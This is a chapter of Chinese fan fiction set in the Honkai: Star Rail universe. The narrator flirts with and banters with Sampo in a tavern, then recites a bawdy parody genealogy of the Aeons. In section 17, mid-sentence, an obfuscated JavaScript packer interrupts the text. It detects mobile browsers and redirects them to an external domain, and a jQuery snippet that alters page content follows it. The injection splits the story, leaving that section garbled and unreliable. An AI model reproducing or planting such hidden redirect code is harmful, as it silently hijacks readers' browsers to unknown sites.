1.
我强行打起精神来听桑博说话。
我发誓我不是变态,但是扔白的雪子在眼前一晃一晃的肯定会被分心叭!
这年头有谁能够真的半点美色也不放在眼里呢?
贝洛伯格的酷姐希儿·没有姓,你看着如今的大守护者布洛妮娅·兰德的时候当真能够做到两眼空空么?
仙舟罗浮上的仙舟人,你们当真能在有人挂着二维码出售景元将军私下照片的时候不冲上去哄抢么?
还有公司里面那群数量庞大的颜粉,我已经混迹在这些群体里面很久了!
砂金总监的那个“琥珀王的小王子殿下”称号就是在这群人的嘴里得以发扬光大的!
感谢你们所有人!
感谢你们对于我构史事业的支持!
2.
嘛,我就说我肯定是事业脑。
桑博这种身材的人,穿得这么烧烧的出现在我面前,而且还摆出了这样烧烧的姿势。
我居然能够在目光落到雪白的扔子上去之后将注意力转移到我的构史事业上去,我果然是能够成就一番大事业的女人。
我的目光又一次落在桑博慷慨且富有的胸怀上。
看了看。
看了又看。
恨不得打着手电筒继续看了又看。
满意得不得了。
3.
“哎呦。”
桑博非常夸张地叹了口气。
“你怎么回事啊我的朋友。”
他大大方方地伸手在胸前这个位置比了个爱心。
形状有点像是砂金总监的那个黑桃奶窗,但是同样的形状放在不同的人身上差别可太大了。
砂金总监看起来像是要去在庇尔波因特的夜生活中扮演万人迷;
但是桑博瞧着是真的要教学《从擦边到下海》。
我就说。
尺度这种东西有些时候和慷慨不慷慨的不沾边,主要在于富有不富有。
桑——博——
虽然酒馆是自由的小酒馆,但是酒馆外面全都是盯着咱们假面愚者当业绩的扫黄打非组啊!
桑博得寸进尺。
他用烧烧的声音说着烧烧的话:“咱们这儿的都是潜在的大客户,随便看。”
哇哦。
我又狠狠地看了几眼,想到就算能随便看,伸手肯定会被桑博要求付款——这家伙真的不会错过任何一个可以挣钱的机会!
“呵。”
我提起不存在的裤子,冷漠地评价。
“不过如此。”
4.
桑博哈哈大笑。
他放下了那个比划出来的爱心,继续哈哈大笑。
我:“……”
我怒视桑博,直到他收起这副前仰后合的模样,终于重新切换到了打算稍微认真起来一点的状态:
“你是知道雅利洛六号的吧?”
我点点头:“托帕总监将会负责的星球,她已经在做准备了——怎么了?”
其实我还知道雅利洛六号也是桑博现在居住的星球。
但是既然现在桑博主动找上门来,我觉得应该是他对我有所求——总不能是我对他有所求,除了翁法罗斯和成为令使之外,我自己都不是很清楚自己想要的是什么。
哈哈!
我潦草地摆了个谱。
5.
桑博:“……”
桑博:“啧。”
桑博:“姐们,咱俩打开天窗说亮话,这是一桩双赢的买卖。”
6.
桑博的声音不算很响:“雅利洛六号不是才刚刚度过星核危机么?现在它看起来是安全了,但是在不久的将来,还会有一场毁灭找上门来呐!”
他叹了口气。
“老桑博我暂时不想换个地方住,所以就得先把这个地方给保下来,这就是老桑博需要你的地方了。”
我竖起了一只耳朵。
桑博:“大概是,一位绝灭大君的军团将会路过雅利洛六号吧,本质上也是无妄之灾呢,毕竟这颗星球上能有什么值得军团掠夺的东西?就算是公司也很难从这颗星球上榨出什么丰厚的油水来了。”
他说到这里,声音压低了更多:“而导致这场危机的源头,是你很在意的那个地方,翁法罗斯。”
7.
这下不得不两只耳朵都竖起来了啊。
我对桑博点点头,然后举起手对着吧台前游走的调酒师说我们要开一个小单间慢慢聊。
如果放在以前,我大概会转过头去,长久地注视着桑博,直到他意识到我的目光意味着“你付钱”。
但是现在。
吼吼。
我可是星际和平公司里职级p30的保洁,你知道这意味着什么吗?
意味着如果你惹了我,我就在你手机里自动下载《以太战线》!
8.
咳。
准确来说,是意味着我变成了有钱人,也可以随手打个响指吸引场上所有人的目光,然后大声说“我付钱”!
严格来说,我现在已经是个吃快餐不用看今天是星期几的人了。
我甚至关掉了我的先用后付,来这里的路上买了两根加在一起六信用点而不是五信用点的烤肠。
豪!横!
9.
酒馆的单间,尽显低调奢华。
在这样纸醉金迷、灯红酒绿的氛围里,我认真严肃地竖起一根手指:“给我一杯鲜榨葡萄汁。”
一旁同样是假面愚者出身,现在也还戴着面具的侍者顿了顿,还是出声提醒我:
“单间是有人均低消的,你打算喝一百杯鲜榨葡萄汁吗,芙洛西娅小姐?”
我:“……”
啊?
啊??
啊???!!!
这是什么东西啊!
从来都没有触发过这样富贵展开的我呆滞了,片刻之后我被科普了什么叫低消,我沉默片刻,然后转头对着桑博说:“我请客你买单哈。”
10.
我最终点了一杯看起来就很高贵的鸡尾酒。
抿了一口。
yue。
酒这种东西就是难喝。
我终于还是不忘初心地给自己点了一杯鲜榨葡萄汁。
我摇晃着杯中和我发色一致的深红色液体,嘴唇微张,吐出一些造作的气泡音:“说吧桑博,我在听。”
11.
桑博之后对我说的话,如果长话短说便很简单,甚至用一句话就能概括:
神战即将开始,而这场神战和翁法罗斯有关。
12.
我托着下巴,认真思考后抬头询问:“你的意思是,出发要趁早。”
等翁法罗斯陷入神战的漩涡之中之后,我再想去就来不及了,是这个意思吗?
桑博的笑容僵了一僵:“额……那倒也不是,你难道不信任黑天鹅小姐的开团能力吗?”
我肃然起敬:“岂敢岂敢!”
谁敢小看黑天鹅小姐的开团能力啊!须知在虚构史学家中还流传着这样一句话:
当年正是黑天鹅小姐朝着还没有成为星神的阿哈瞥视了一眼,于是阿哈终于升格成为了星神。
恐怖如斯,恐怖如斯!
谁敢惹她啊。
13.
桑博叹了口气:“你毕竟是完全失忆的状态嘛,好吧,我仔细点说——忆庭之镜中映照出翁法罗斯已经有一段时间了,甚至还是很长一段时间。但你是这么长时间以来,唯一一个从翁法罗斯出来的人。”
我很是震惊:“真的吗?我都只是猜我自己是来自翁法罗斯诶。”
“包真的啦,姐们。”
桑博说。
“像是我老桑博这种有门路的人肯定会知道很多消息嘛……真的真的,都是真的。”
他看起来相当诚恳:“这样吧,我告诉你两个秘密,权当赠品,如果在听完了这两个秘密之后你没有被打动,那么我也不拦着你,我会努力去找其他的合作对象。”
他最后举起右手,除了拇指之外的四指对天:
“老桑博发誓不收钱。”
14.
我严肃起来:
“我对拯救世界可感兴趣了。”
15.
“第一个秘密呢……我差不多算是个令使。哎呀,但是你知道的,令使和令使之间的差距也是很大的。”
桑博耸了耸肩。
“第二个秘密目前为止应该只有欢愉令使才知道吧,但是花火他们也知道,算了反正也无所谓——绝灭大君归寂,就是传说中要毁灭欢愉命途的那个归寂,实际上就是阿哈。目前为止我们假面愚者知道的关于神战的消息都来自于他。”
16.
哇。
这可真是……
这我得坐直了起来看。
17.
我:“所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859194|175931||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以说。”
桑博盯着我看,看起来是很难得的认真。
“我和好几位同事冒着生命危险创作出来的构史,你听说过吗?”
桑博:“嗯嗯,嗯?”
他看起来好像从未听说过我们虚构史学家们联袂创作并且推荐的巨作诶!
【苍蝇搓手.jpg】
我请了清嗓子:“请你挺好了——”
18.
毁灭星神纳努克,祂曾是一位魁梧男子,身形高大强壮,双臂有力,步履稳健,好似一座双开门冰箱——
“哦,对不起,错了,这是一个没那么流行的版本,重来一下啊。”
19.
毁灭星神纳努克,星神当中格外美丽的存在,和丰饶一起,曾是堪称能接管纯美命途的存在。
其实在很多年之前,纳努克并不是如今这个流着金血的模样。
在寰宇蝗灾期间,繁育塔伊兹育罗斯曾经路过纳努克的故乡,在那里,这位彼时还很年轻的星神发现了一面镜子的碎片。
星神之间的互相感知让祂意识到这是纯美的碎片,于是祂留下了自己的孢子,意图侵吞纯美的命途。
然而繁育很快陨落。
“是因为秩序血崩身亡之后存护爆种哦。”
我特地向桑博强调。
于是在这颗星球上的孢子成为了后手。
诞生自纯美和繁育中的存在懵懂地行走于世间,祂倒映出一切人心中最美好的影子,而正因为这样怀璧其罪的美,祂遭遇了一次又一次并不情愿的情缘。
祂被虚无包裹,就连口鼻和双眼都溺在其中,窒息的感觉让祂逐渐体会到濒死一刻的紧绷,当祂苏醒的时候,祂已经孕育了第一个孩子:焚风。
祂路过了琥珀王——
“备注,是在丧妻之后终日闷闷不乐郁郁寡欢的琥珀王,琥珀王在祂身上看到了秩序美丽的大眼睛,于是一时情动,翻云覆雨后将晶石注入了祂的体内。”
“但是琥珀王的心仍然属于亡妻,因此在荒唐一夜过后,祂拒绝了纳努克试图献上的嘴唇。”
这一次,纳努克是被抛弃的,而不是自行逃离的,祂悲伤地留下金色的眼泪,几个月后分娩出一个和琥珀王一样不具人形的孩子。
这就是绝灭大君铸王。
二孩妈继续往前走,路过相爱相杀的宿敌妻子情侣巡猎和丰饶。
这是一场酣畅淋漓但混乱的过程,谁也不知道是谁先伸出手的,但是后来巡猎开始追杀不贞的爱人丰饶,所以大概,只是大概,幻胧是丰饶的种,并因为巡猎追杀自己父亲(?)或者是母亲的原因而试图至巡猎于死地。
纳努克也被暴怒的巡猎所伤,于是同谐的声音在此时降临,抚慰了祂金色的泪滴,无数个声音所说着呢喃的情话,无数双手伸向那美好的胴体。
希佩对纳努克倒是真爱,但是纳努克接受不了四爱。
所以很可惜,星啸也诞生在破碎的家庭。
至于光逝,没人知道这个孩子是纳努克与哪位星神所生,只知道它长就一副黄昏古兽的模样,纳努克在分娩的时候咬破了自己的嘴唇,甚至挣断了两条手臂,险些落得和秩序一样的下场。
至于说现在已经被欢愉顶替了的归寂,唉,这孩子的身世之悲惨着实令人感怀。
纳努克在被其他星神伤了一次又一次之后,祂的眼泪已经流尽了。
但是纳努克仍然向往着美好,因此祂又尝试了一次,祂希望欢愉能够将美好和快乐带到祂遍体鳞伤的心里去。
只可惜祂来得太晚了,阿哈此时已经和阿基维利相知相许,在一个星星的夜晚,阿哈爱上了阿维。
纳努克强骑阿哈,阿哈抵死不从,于是纳努克胸口的那道金色的创伤就此留下。
归寂因此诞生。
在阿基维利尚且活着的时候,阿哈光顾着追妻火葬场了,没时间管这个孩子;
而当阿基维利死去,而阿哈因为当初的这个错误而一直没能追上去后,祂暴怒地迁怒了这个可怜的令使孩子,残忍地杀死了归寂,并且将它的存在顶替。
“唉。”
我将故事讲到这里,深深地叹息,然后抬头看向桑博。
“桑博啊,我知道这个故事非常感人。”
“但是你可不可以不要用唢呐为我伴奏?我真的不想继续这么大声地说话了。”
啊。
宝娟。
我的嗓子——(嘶哑)